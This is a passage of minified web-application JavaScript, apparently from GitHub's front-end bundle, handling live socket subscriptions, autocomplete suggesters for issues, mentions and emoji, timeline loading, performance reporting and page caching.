o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of 